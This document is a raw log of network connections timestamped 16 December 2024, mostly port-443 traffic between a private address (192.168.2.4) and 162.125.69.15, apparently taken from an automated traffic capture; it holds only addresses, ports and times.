Dec 16, 2024 16:14:42.504832029 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.504854918 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.504904032 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.504918098 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.504942894 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.504961014 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.510922909 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.510945082 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.511025906 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.511039972 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.511066914 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.511090040 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.517355919 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.517379999 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.517447948 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.517461061 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.517487049 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.517504930 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.523798943 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.523821115 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.523873091 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.523885965 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.523940086 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.523941040 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.672699928 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.672725916 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.672831059 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.672842026 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.672903061 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.678854942 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.678874016 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.678946018 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.678953886 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.679003954 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.685055971 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.685075998 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.685123920 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.685137033 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.685164928 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.685197115 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.691606998 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.691626072 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.691684961 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.691698074 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.691770077 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.696984053 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.697002888 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.697058916 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.697072029 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.697099924 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.697118044 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.703834057 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.703854084 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.703900099 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.703912020 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.703938961 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.703959942 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.709511995 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.709537983 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.709580898 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.709593058 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.709625006 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.709649086 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.709887981 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.715939999 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.715967894 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.716015100 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.716028929 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.716062069 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.716084003 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.724912882 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.864813089 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.864836931 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.864916086 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.864947081 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.864976883 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.864998102 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.870417118 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.870439053 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.870496035 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.870510101 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.870537996 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.870558023 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.876859903 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.876879930 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.876955986 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.876969099 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.876997948 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.877022028 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.883430958 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.883454084 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.883518934 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.883532047 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.883559942 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.883580923 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.889266968 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.889292955 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.889353991 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.889367104 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.889401913 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.889420033 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.895982981 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.896003962 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.896075964 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.896090984 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.896153927 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.902549982 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.902570009 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.902628899 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.902635098 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.902684927 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.908101082 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.908122063 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.908194065 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.908209085 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:42.908288002 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:42.909790039 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.057697058 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.057718039 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.057782888 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.057802916 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.057832956 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.058072090 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.063863993 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.063884974 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.063946009 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.063952923 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.063988924 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.064014912 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.069540977 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.069561005 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.069602966 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.069614887 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.069643974 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.069721937 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.076188087 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.076209068 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.076266050 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.076280117 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.076333046 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.082165956 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.082185030 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.082222939 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.082236052 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.082264900 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.082284927 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.089302063 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.089322090 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.089368105 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.089396954 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.089421988 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.089467049 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.094161034 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.094182968 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.094234943 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.094249010 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.094280958 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.094466925 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.100661993 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.100682020 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.100725889 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.100734949 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.100764990 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.100779057 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.250021935 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.250046015 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.250097036 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.250161886 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.250216961 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.250334024 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.255944014 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.255965948 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.255997896 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.256012917 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.256045103 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.256068945 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.261996031 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.262017012 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.262064934 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.262079000 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.262109995 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.262134075 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.268474102 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.268492937 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.268570900 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.268587112 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.268654108 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.275109053 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.275130033 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.275196075 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.275209904 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.275264978 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.281153917 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.281174898 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.281235933 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.281250000 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.281277895 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.281852007 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.286835909 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.286856890 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.286916018 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.286927938 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.286957979 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.287847042 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.293170929 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.293193102 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.293257952 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.293271065 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.293301105 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.293323994 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.420283079 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:43.420360088 CET	443	49766	162.159.61.3	192.168.2.4
Dec 16, 2024 16:14:43.420449018 CET	49766	443	192.168.2.4	162.159.61.3
Dec 16, 2024 16:14:43.442338943 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.442368984 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.442430973 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.442503929 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.442542076 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.447860956 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.448206902 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.448234081 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.448276043 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.448292017 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.448318958 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.449771881 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.454742908 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.454773903 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.454826117 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.454839945 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.454868078 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.454886913 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.460335970 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.460362911 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.460408926 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.460422039 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.460452080 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.463890076 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.466763973 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.466800928 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.466842890 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.466860056 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.466887951 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.470195055 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.472825050 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.472851992 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.472903967 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.472940922 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.472973108 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.473381996 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.477583885 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.479392052 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.479428053 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.479480028 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.479496956 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.479545116 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.479830027 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.486017942 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.486043930 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.486092091 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.486112118 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.486161947 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.486161947 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.633833885 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.633865118 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.633899927 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.633939981 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.633987904 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.634010077 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.634442091 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.640264034 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.640292883 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.640331030 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.640384912 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.640429020 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.640921116 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.646845102 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.646864891 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.646935940 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.646935940 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.646975994 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.647034883 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.652431011 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.652456999 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.652499914 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.652512074 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.652548075 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.652573109 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.659029007 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.659049988 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.659086943 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.659096956 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.659125090 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.659142017 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.665174961 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.665198088 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.665297031 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.665317059 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.665361881 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.671441078 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.671464920 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.671508074 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.671529055 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.671552896 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.671576977 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.677999020 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.678020954 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.678081036 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.678081036 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.678097963 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.678242922 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.685501099 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.826381922 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.826410055 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.826452971 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.826481104 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.826499939 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.826580048 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.832807064 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.832830906 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.832869053 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.832880020 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.832916021 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.832928896 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.833444118 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.838702917 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.838725090 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.838768005 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.838783026 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.838799000 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.838836908 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.841027975 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.845542908 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.845565081 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.845616102 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.845626116 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.845647097 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.845668077 CET	49798	443	192.168.2.4	162.125.69.15
Dec 16, 2024 16:14:43.851392984 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.851413965 CET	443	49798	162.125.69.15	192.168.2.4
Dec 16, 2024 16:14:43.851447105 CET	49798	443	192.168.2.4	162.125.69.15
